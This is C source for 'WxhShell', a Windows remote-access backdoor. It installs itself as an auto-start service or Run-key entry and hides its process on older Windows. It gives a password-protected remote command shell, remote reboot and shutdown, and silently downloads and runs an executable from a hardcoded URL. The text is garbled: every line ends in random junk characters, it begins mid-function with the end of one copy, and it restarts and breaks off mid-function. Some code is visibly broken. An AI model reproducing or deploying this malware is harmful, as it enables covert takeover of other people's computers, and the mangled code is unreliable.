    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]T^ is>  
    if(Boot(SHUTDOWN)) Do;#NLrWb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aRwnRii  
    else { h%1Y6$  
    closesocket(wsh); W_<4WG  
    ExitThread(0); 8(A{;9^g  
    } Z?1OdoT-  
    break; 1K[(ou'rl  
    } a [C&e,)}  
  // 获取shell =`p&h}h-L  
  case 's': { xzikD,FV  
    CmdShell(wsh); xo~g78jm7,  
    closesocket(wsh); <lo`q<q  
    ExitThread(0); h4 vm{ho  
    break; #s+Q{2s  
  } )zJ=PF  
  // 退出 knSuzq%*  
  case 'x': { 9X]f[^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :s*>W$Wp4  
    CloseIt(wsh); WK; (P4Z  
    break; og-]tEWA1  
    } =Ahw%`/&}]  
  // 离开 ma]? )1<{  
  case 'q': { E1W:hGI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k18$JyaG  
    closesocket(wsh); hTw}X.<4  
    WSACleanup(); ]kS7n @8  
    exit(1); tpU D0Z)  
    break; K-4tdC3  
        } },PBqWe  
  } :`J>bHE  
  } \!wh[qEQ\  
xF8 :^'  
  // 提示信息 W)-hU~^OM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _,Q[2gQ5N  
} J px'W  
  } XV5`QmB9  
g$]WKy(D  
  return; z5gVP8*z5  
} 4T3Z9KD!8  
3;buC|ky  
// shell模块句柄 G,>YzjMY`  
int CmdShell(SOCKET sock) =F|9 ac9X  
{ n*"r!&Dg  
STARTUPINFO si; Dtd~}-_Q  
ZeroMemory(&si,sizeof(si)); .@fA_8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; pO *[~yq5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q\@_L.tc[  
PROCESS_INFORMATION ProcessInfo; /4O))}TX  
char cmdline[]="cmd"; c\n_[r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t Cb34Wpf  
  return 0; 6 D Xja_lp  
} T9R# .y,  
CNb(\]  
// 自身启动模式 s! 2[zJ19p  
int StartFromService(void) YyYZD{^  
{ ^"O>EY':  
typedef struct 7;|"1H:cmw  
{ Lfn$Q3}O`$  
  DWORD ExitStatus; MrzD ah9UG  
  DWORD PebBaseAddress; ntLEk fK{  
  DWORD AffinityMask; V?dwTc  
  DWORD BasePriority; {ol7*%u  
  ULONG UniqueProcessId; $ (;:4  
  ULONG InheritedFromUniqueProcessId; Xk.OyQ@  
}   PROCESS_BASIC_INFORMATION; `E1G9BbU  
+rU{-`dy9'  
PROCNTQSIP NtQueryInformationProcess; <=p>0L  
K@*+;6y@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l6#Y}<tq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @]q^O MLY  
>=97~a+.  
  HANDLE             hProcess; P!Fy kg  
  PROCESS_BASIC_INFORMATION pbi; Jy/< {7j  
UstUPO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K-:y  
  if(NULL == hInst ) return 0; EA(4xj&:U  
AE>W$x8P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;*Vnwt A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B>c$AS\5y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m6[}KkW  
BW)-F (v   
  if (!NtQueryInformationProcess) return 0; ]?+i6 [6U  
'UhHcMh:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j~>{P=_}  
  if(!hProcess) return 0; h_?`ESI~  
z(A[xN@/W<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Hc'Pp{| X  
b]b>i]n  
  CloseHandle(hProcess); 2j8GJU/L  
BeLD`4K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #dae^UjM  
if(hProcess==NULL) return 0; -B#1+rUW  
chL1r9V)v  
HMODULE hMod; N-QS/*C.~  
char procName[255]; Ht;Rz*}  
unsigned long cbNeeded; uQ-GJI^t  
x7/Vf,N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,5v'hG  
y@7fR9hp<  
  CloseHandle(hProcess); 6=]Gom&S  
g6%]uCFB  
if(strstr(procName,"services")) return 1; // 以服务启动 KbLSK  
=KHb0d |.  
  return 0; // 注册表启动 Mc.{I"c@  
} lo>9 \ Po  
%urvX$r4K  
// 主模块 f;^ +q-Q  
int StartWxhshell(LPSTR lpCmdLine) rQ{|0+l  
{ syB pF:`-W  
  SOCKET wsl; < 8' b  
BOOL val=TRUE; FDD=I\Ic  
  int port=0; Kj4BVs  
  struct sockaddr_in door; _y[C52,  
y!gPBkG&3n  
  if(wscfg.ws_autoins) Install(); L@GICW~  
tV(iC~/  
port=atoi(lpCmdLine); 8c.>6 Hy  
[<@T%yq  
if(port<=0) port=wscfg.ws_port; P^<3 Z)L  
dP_Q kO  
  WSADATA data; e#Ao] gc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 39 }e }W"  
)!27=R/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b\ED<'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "L]v:lg3  
  door.sin_family = AF_INET; Bbs1U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gGvL6Fu  
  door.sin_port = htons(port); $/"Ymm#"\Y  
{mD0 ug  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5go)D+6s  
closesocket(wsl); \;Q(o$5<  
return 1; 9ia&/BT7"z  
} B0b|+5WhR  
>97YK =  
  if(listen(wsl,2) == INVALID_SOCKET) { acS~%^"<_  
closesocket(wsl); Q.$8>)  
return 1; vxPE=!|  
} t`Bk2Cc)+  
  Wxhshell(wsl); h81giY]  
  WSACleanup(); Se!w(Y&  
_UTN4z2aTG  
return 0; JvXuN~fI{[  
_qPKdGoM  
} ]mtiIu[  
ltNI+G  
// 以NT服务方式启动 OSO MFt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >6Pe~J5,:  
{ !:\0}w$-  
DWORD   status = 0; }5PC53q  
  DWORD   specificError = 0xfffffff; vh.8m $,  
mxCneX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3L==p`   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $A~aNI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Mo3%OR  
  serviceStatus.dwWin32ExitCode     = 0; W[I[Xg&  
  serviceStatus.dwServiceSpecificExitCode = 0; m#WXZr  
  serviceStatus.dwCheckPoint       = 0; pSQX  
  serviceStatus.dwWaitHint       = 0; U~BR8]=G  
TqN@l\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ? ;Sg,.J  
  if (hServiceStatusHandle==0) return; <=|^\r !}&  
g \S6>LG!  
status = GetLastError(); J;XO1}9  
  if (status!=NO_ERROR) nnhI]#,a{  
{ \h[*oeh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E2}X[EoBF  
    serviceStatus.dwCheckPoint       = 0; T0fm6 J  
    serviceStatus.dwWaitHint       = 0; e%:vLE 9  
    serviceStatus.dwWin32ExitCode     = status; gcwJ{&  
    serviceStatus.dwServiceSpecificExitCode = specificError; :s+?"'DP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zytW3sTZA  
    return; x2fqfrr_]  
  } jHT^I as  
&to~#.qc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +Goh`!$Rj9  
  serviceStatus.dwCheckPoint       = 0; zE8_3UC  
  serviceStatus.dwWaitHint       = 0;  IN6L2/Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DJdhOLx  
} d\Up6F  
$[HCetaqV  
// 处理NT服务事件,比如:启动、停止 ~~WY?I-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oJ5n*[qUI  
{ 1M)88&  
switch(fdwControl) f[NxqNn  
{ Yt_tAm  
case SERVICE_CONTROL_STOP: Q+a&a]*KL^  
  serviceStatus.dwWin32ExitCode = 0; bly `m p8#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vfT @;`  
  serviceStatus.dwCheckPoint   = 0; d+h~4'ebv  
  serviceStatus.dwWaitHint     = 0; ?Nt m5(R  
  { ~|~2B$JeV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qOD^ P  
  } 2b\ h@VJt  
  return; b~ig$!N]  
case SERVICE_CONTROL_PAUSE: \ D>!&   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8rBa}v9  
  break; {J)gS  
case SERVICE_CONTROL_CONTINUE: =mwAbh)[7n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Sd I>  
  break; @GweNo`p7  
case SERVICE_CONTROL_INTERROGATE: {P?p*2J'  
  break; Z~w?Qm:/  
}; ER!s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hG<W *g  
} W`#E[g?]  
[BKTZQ@G@  
// 标准应用程序主函数 ?*q-u9s9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oO &%&;[/A  
{ Sng3B  
{A MAQ  
// 获取操作系统版本 }*P;kV  
OsIsNt=GetOsVer(); 7O=7lQ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ba%b]vp  
}lx'NY~(W  
  // 从命令行安装 "Q.C1#W}.  
  if(strpbrk(lpCmdLine,"iI")) Install(); vHymSU/J  
IQ~EL';<w  
  // 下载执行文件 q+4<"b+6G  
if(wscfg.ws_downexe) { '<C#"2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NQbgk+&wD  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]MMXpj,9h  
} t .XuH#  
`g}en%5b\  
if(!OsIsNt) { Oh=Kl3xs  
// 如果时win9x,隐藏进程并且设置为注册表启动 S }G3ha  
HideProc(); \xk8+=/A  
StartWxhshell(lpCmdLine); f5CnJhE|)  
} > lK:~~1  
else +\B.3%\-  
  if(StartFromService()) #|cr\\2*  
  // 以服务方式启动 "SwM%j  
  StartServiceCtrlDispatcher(DispatchTable); v kW2&  
else sGbk4g  
  // 普通方式启动 Ot!*,%sjQ  
  StartWxhshell(lpCmdLine); MOP#to)k&  
K./L'Me  
return 0; yuB\Z/  
} <:0d%YB)  
vo'{phtF)M  
YjeHNPf  
Gc:oS vm  
=========================================== sC RmLUD  
nTXM/  
')v<MqBr  
 .Aa(  
OD1>s6uA7  
'ul~f$ V  
" %VzCeS9  
)@.6u9\  
#include <stdio.h> T#G (&0J5  
#include <string.h> Eh?,-!SUQn  
#include <windows.h> <<ifd?  
#include <winsock2.h> bp(X\:zAy  
#include <winsvc.h> @D&}ZV=J  
#include <urlmon.h> JNgl  
-D30(g{O  
#pragma comment (lib, "Ws2_32.lib") 3%SwCYd  
#pragma comment (lib, "urlmon.lib") yBxWBW*e  
r081.<  
#define MAX_USER   100 // 最大客户端连接数 C{Er%  
#define BUF_SOCK   200 // sock buffer .R>4'#8q  
#define KEY_BUFF   255 // 输入 buffer 1Igo9rv  
niP/i  
#define REBOOT     0   // 重启 .6nNqGua1  
#define SHUTDOWN   1   // 关机 xp"5L8:C  
:%vD hMHa  
#define DEF_PORT   5000 // 监听端口 (GJW3  
By-A1|4Cp`  
#define REG_LEN     16   // 注册表键长度 Qh. : N  
#define SVC_LEN     80   // NT服务名长度 #}{1>g{sXt  
F`\7&'I  
// 从dll定义API 5PU$D`7it  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PE-P(T3s[8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n9Xssl0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2K1odqO#   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'v*Y7zZ#K  
5+[`x ']l  
// wxhshell配置信息 g5*Zg_G/  
struct WSCFG { (X"WEp^Q{I  
  int ws_port;         // 监听端口 9e|]H+y  
  char ws_passstr[REG_LEN]; // 口令 S4?N_"m9  
  int ws_autoins;       // 安装标记, 1=yes 0=no !@x'?+   
  char ws_regname[REG_LEN]; // 注册表键名 5-ju5z?=  
  char ws_svcname[REG_LEN]; // 服务名 BiUOjQC#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aI6fPQe  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AW+ q#Is  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SH/KC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !?7c2QRN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ox` +Z0)a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ? }2]G'7?  
5`B ! 1  
}; *y;(c)_w/%  
c?NXX&  
// default Wxhshell configuration /k(KA [bS  
struct WSCFG wscfg={DEF_PORT, t9zF WdW  
    "xuhuanlingzhe", >e7w!v]  
    1, Q`dzn=  
    "Wxhshell", QJaF6>m  
    "Wxhshell", av&4:O!  
            "WxhShell Service", q+/c+u?=^  
    "Wrsky Windows CmdShell Service", hYS*J908  
    "Please Input Your Password: ", SV4a_m?  
  1, `&"-|  
  "http://www.wrsky.com/wxhshell.exe", u*ZRU 4 U  
  "Wxhshell.exe" h] (BTb#-  
    }; F;mK)Q-  
 ;Q;u^T`  
// 消息定义模块 _z<y]?q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z@nJ-*'U8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Khbkv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )vFJx[a<n`  
char *msg_ws_ext="\n\rExit."; g9fS|T  
char *msg_ws_end="\n\rQuit."; $ePBw~yu  
char *msg_ws_boot="\n\rReboot..."; ZX0ZN2 ]  
char *msg_ws_poff="\n\rShutdown..."; i>n.r_!E  
char *msg_ws_down="\n\rSave to "; l@8UL</W  
Xj/U~  
char *msg_ws_err="\n\rErr!"; wL'tGAv  
char *msg_ws_ok="\n\rOK!"; ?qeBgkL(B^  
. mDh9V5  
char ExeFile[MAX_PATH]; Hz}6XS@  
int nUser = 0; /qW5M4.w  
HANDLE handles[MAX_USER]; vV.TK_ y  
int OsIsNt; '1lr "}"Q+  
6t0!a@t  
SERVICE_STATUS       serviceStatus; #Y3:~dmJ-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HSk gS  
]&za^%q0&  
// 函数声明 bwjjwu&  
int Install(void); i,Yq oe`  
int Uninstall(void); 7Vf2Qx1_  
int DownloadFile(char *sURL, SOCKET wsh); ,?"cKdiZ  
int Boot(int flag); 1]HEwTT/1_  
void HideProc(void); 93="sS  
int GetOsVer(void); "HRoS#|\  
int Wxhshell(SOCKET wsl); =9UR~-`d\  
void TalkWithClient(void *cs); |s&jWM$  
int CmdShell(SOCKET sock); ,6,sz]3-  
int StartFromService(void); ?dJ-g~  
int StartWxhshell(LPSTR lpCmdLine); \atztC{-L>  
(9_~R^='y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NZ(c>r6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B+G,v:)R6z  
?*i qg[:  
// 数据结构和表定义 60KhwD1  
SERVICE_TABLE_ENTRY DispatchTable[] = ?@U7tNI  
{ )D ^.{70N  
{wscfg.ws_svcname, NTServiceMain}, :DP%>H|  
{NULL, NULL} nJJ9>#<g$  
}; ITj0u&H:  
?Z-(SC  
// 自我安装 6Q<^,`/T  
int Install(void) O$}p}%%y7  
{ -!uut7Z|  
  char svExeFile[MAX_PATH]; k!e \O>+  
  HKEY key; ?{s!.U[T@  
  strcpy(svExeFile,ExeFile); 2Yd0:$a  
uT8@p8  
// 如果是win9x系统,修改注册表设为自启动 {R[FwB^7wJ  
if(!OsIsNt) { %Z@+K_X9x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %T]NM3|U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x`@!hJc:[e  
  RegCloseKey(key); ZMmaM "9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YfBb=rN2s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P-9[,3Zd  
  RegCloseKey(key); yT Pi/=G  
  return 0; Pl_4;q!$  
    } )ndcBwQc"  
  } 5'f4=J$Z)  
} =[8EQdR  
else { ]3tg|? %B  
p<1z!`!P  
// 如果是NT以上系统,安装为系统服务 5t]}(.0+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \|20E51B[  
if (schSCManager!=0)  6e,|HV  
{ YUo{e=m|  
  SC_HANDLE schService = CreateService k CkSu-  
  ( 0z) 8i P  
  schSCManager, 'Eds0"3  
  wscfg.ws_svcname, EL!V\J`S_  
  wscfg.ws_svcdisp, dR"H,$UH  
  SERVICE_ALL_ACCESS, < aeBhg%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  |4uH  
  SERVICE_AUTO_START, :USN`"  
  SERVICE_ERROR_NORMAL, ok;Yxp>  
  svExeFile, tydD~a  
  NULL, =;DmD?nZ  
  NULL, (9:MIP  
  NULL, :5!>h8p;  
  NULL, 7'wt/9  
  NULL +jzwi3B`  
  ); ;xFx%^M}br  
  if (schService!=0) 3`PPTG  
  { V@gweci  
  CloseServiceHandle(schService); x)eYqH~i  
  CloseServiceHandle(schSCManager);  L><# I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ( ON n{12Q  
  strcat(svExeFile,wscfg.ws_svcname); /]H6'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zbHNj(~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C?@vBM}  
  RegCloseKey(key); dQ6:c7hp>D  
  return 0; A4RA5N/}  
    } E (DNK  
  } *Ag</g@ h  
  CloseServiceHandle(schSCManager); y<7C!E#b8  
} y]|Hrx  
} yOKpi&! r  
#/fh_S'Z  
return 1; #clOpyT*  
} K)z{R n  
uC{qaMQ  
// 自我卸载 R=uzm=&nR  
int Uninstall(void) @Qw~z0PE<l  
{ MD(?Wh  
  HKEY key; I&9_F% rX  
E6"+\-e  
if(!OsIsNt) { !u@XEN>/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O$QtZE61  
  RegDeleteValue(key,wscfg.ws_regname); AF ,*bb  
  RegCloseKey(key); Dqss/vwV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X}T/6zk  
  RegDeleteValue(key,wscfg.ws_regname); 3m RP.<=  
  RegCloseKey(key); Ore>j+  
  return 0; =l6aSr  
  } : utY4  
} 8K: RoR  
} #-76E  
else { >< <(6  
Z(Styn/x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S0,q@LV  
if (schSCManager!=0) i?+ZrAx>  
{ 3khsGD@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @.IGOh  
  if (schService!=0) 5u/dr9n  
  { Ziclw)   
  if(DeleteService(schService)!=0) { |'mwr!  
  CloseServiceHandle(schService); !O;su~7  
  CloseServiceHandle(schSCManager); "*08?KA  
  return 0; <( "M;C3y  
  } i.QS(gM  
  CloseServiceHandle(schService); Ew`(x30E  
  } Ej_>*^b  
  CloseServiceHandle(schSCManager); i rjOGn  
} eBlWwUy*6f  
} \<e?  
4OX2GH=W  
return 1; Whoqs_Mm{  
} %}.4c8  
EY$Dtb+g8  
// 从指定url下载文件 |uUGvIsXn  
int DownloadFile(char *sURL, SOCKET wsh) ^pB}eh.@U  
{ }-Ds%L  
  HRESULT hr; 0B}O&DC%|  
char seps[]= "/"; fnXYp !  
char *token; Q!9  
char *file; ]izrr  
char myURL[MAX_PATH]; q?R^~r  
char myFILE[MAX_PATH]; ]|JQH  
HZASIsl  
strcpy(myURL,sURL); `}r)0,Z}3  
  token=strtok(myURL,seps); eeVDU$*e=  
  while(token!=NULL) rCK   
  { 0Cg}yyOz  
    file=token; C33BP}c]  
  token=strtok(NULL,seps); %fT%,( w}t  
  } 1;*4y J2  
=l)D$l  
GetCurrentDirectory(MAX_PATH,myFILE); V jdu9Ez  
strcat(myFILE, "\\"); ndmsXls  
strcat(myFILE, file); JpRn)e'Z  
  send(wsh,myFILE,strlen(myFILE),0); /3`yaYkSh  
send(wsh,"...",3,0); z|F38(%JJN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~|lEi1|  
  if(hr==S_OK) exZgk2[0  
return 0; [+F6C  
else {e+}jZ[L  
return 1; bMA0#e2  
,Y&7` m  
} %A3ci[$g  
<.Dg3RH  
// 系统电源模块 8I}ATc  
int Boot(int flag) +=`*`eP:U  
{ w t6&N{@  
  HANDLE hToken; b$eN]L   
  TOKEN_PRIVILEGES tkp; @CtnV|  
N79?s)l:K  
  if(OsIsNt) { !gm@QO cF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _ea|E  8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XxYwBc'pc  
    tkp.PrivilegeCount = 1; }Ip1|Gj  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S l`F`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $qR<_6j  
if(flag==REBOOT) { 7Y%Si5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) czLY+I;V3  
  return 0; m;JB=MZ=m  
} <74r  
else { aH&Efz^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K]'t>:G @  
  return 0; Zet80|q  
} FN<S agj  
  } KJ7-Vl>  
  else { 7.*Mmx~]=  
if(flag==REBOOT) { =`k', V_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [VE>{4]W  
  return 0; YmwXA e:  
} p4@0[z'  
else { 2@!B;6*8q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \iA.{,VX  
  return 0; ]m :Y|,:6  
} Q0%s|8Jc  
} ]G~Z'fs<(  
j6E|j>@u  
return 1; )~CNh5z 6Y  
} (sSGJS'X  
P7epBWqDP  
// win9x进程隐藏模块 *LEI@  
void HideProc(void) F+]cFx,/  
{  6lL^/$]  
bZ#5\L2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >uxAti\  
  if ( hKernel != NULL ) +`ug?`_  
  { |zJ2ZE|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oS~;>]W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nE56A#,Q,  
    FreeLibrary(hKernel); Ab8Ke|fA  
  } ZA\;9M=  
3pe1"maP  
return; qJJ}, 4}  
} }1 j'  
?aguAqG$  
// 获取操作系统版本 abp\Ih^b  
int GetOsVer(void) }nptmc  
{ * ).YU[i  
  OSVERSIONINFO winfo; \zeuvD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p*U!94Pb  
  GetVersionEx(&winfo); .vie#,la  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =y=MljEX  
  return 1; a+j"8tHu$  
  else z3{Cp:Mn  
  return 0; QQt4pDir>  
} 4HpKKhv"  
(mioKO )?v  
// 客户端句柄模块 i7e_~K  
int Wxhshell(SOCKET wsl) aMGyV"6(-6  
{ s{*bFA Z1F  
  SOCKET wsh; :sttGXQX  
  struct sockaddr_in client; <*9(m  
  DWORD myID; !Sl_qL  
-`NzBuV$2,  
  while(nUser<MAX_USER) l h6N3d  
{ Ir=G\/A  
  int nSize=sizeof(client); [ P,gEYk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LQR^lD+_=  
  if(wsh==INVALID_SOCKET) return 1; &Mz]y?k'  
l&5Tft  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rs,'vV-2\  
if(handles[nUser]==0) Qkw?Q V-`k  
  closesocket(wsh); RRQIlI<  
else Rd<K.7&A}  
  nUser++; Xkk 8#Y":  
  } oArXP\#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P#V}l'j(<a  
xo2j fz  
  return 0; :98:U~ d1  
} :, 3S5!(y  
saDu'SmYV  
// 关闭 socket ~,Yd.?.TI  
void CloseIt(SOCKET wsh) C Sz+cS  
{ yYP>3]z  
closesocket(wsh); LXZI|K[}k  
nUser--; ] g8z@r"b  
ExitThread(0); oS}fr?  
} l%p,m [  
KUpj.[5 qo  
// 客户端请求句柄 4?bvJJuf)  
void TalkWithClient(void *cs) bnPhhsR  
{ 1f'msy/  
;/kmV~KG  
  SOCKET wsh=(SOCKET)cs; PIdGis5G  
  char pwd[SVC_LEN]; s%8,'3&  
  char cmd[KEY_BUFF]; OmK4 \_.  
char chr[1]; 3_ .%NgES|  
int i,j; 4Xww(5?3  
Z~}9^(qc  
  while (nUser < MAX_USER) { LFZ*mRiuKE  
4#:C t* f  
if(wscfg.ws_passstr) { V F b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k8l7.e*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9}L2$^#,NA  
  //ZeroMemory(pwd,KEY_BUFF); Rf2mBjJ(z  
      i=0; rO YD[+  
  while(i<SVC_LEN) { e}P@7e  h  
k+J63+obd  
  // 设置超时 _Vf>>tuW  
  fd_set FdRead; |n^rI\ p%  
  struct timeval TimeOut; Pc7p2  
  FD_ZERO(&FdRead); 7%[ YX  
  FD_SET(wsh,&FdRead); `M(st%@n  
  TimeOut.tv_sec=8; IGi9YpI&K  
  TimeOut.tv_usec=0; fVVD}GM=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nJ/}b/A{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d @ l  
a.RYRq4o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2@@evQ  
  pwd=chr[0]; \=`jo$S  
  if(chr[0]==0xd || chr[0]==0xa) { 5uOz#hN  
  pwd=0; tkkh<5{C   
  break; D;jbZ9  
  } #!%zf{(C+  
  i++;  ls7P$qq  
    } 6j+X@|2^  
)C mHC3  
  // 如果是非法用户,关闭 socket '#e T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g}uSIv^  
} ez)Ks`  
Li$2 Gpc/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uPxjW"M+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %tZrP$DQ  
6`bR' 0D  
while(1) { &%8IBT  
.+<Ka0  
  ZeroMemory(cmd,KEY_BUFF); [Fv,`*/sm  
K5\l (BB  
      // 自动支持客户端 telnet标准   fny6`_O  
  j=0; i1A<0W|  
  while(j<KEY_BUFF) { G007[|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b& -8/t  
  cmd[j]=chr[0]; 7zJ2n/`m*  
  if(chr[0]==0xa || chr[0]==0xd) { T:9M|mD  
  cmd[j]=0; ;Ru[^p.{  
  break; \Sv|yQUT  
  } ccp9nXv  
  j++; :XPat9 3w  
    } Kv<mDA!  
|"9vq<`  
  // 下载文件 {fX~%%c"  
  if(strstr(cmd,"http://")) { <F"G~.^ *s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a" T+CA  
  if(DownloadFile(cmd,wsh)) %}Y&qT?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {;zHkmx  
  else m({ q<&]Qp  
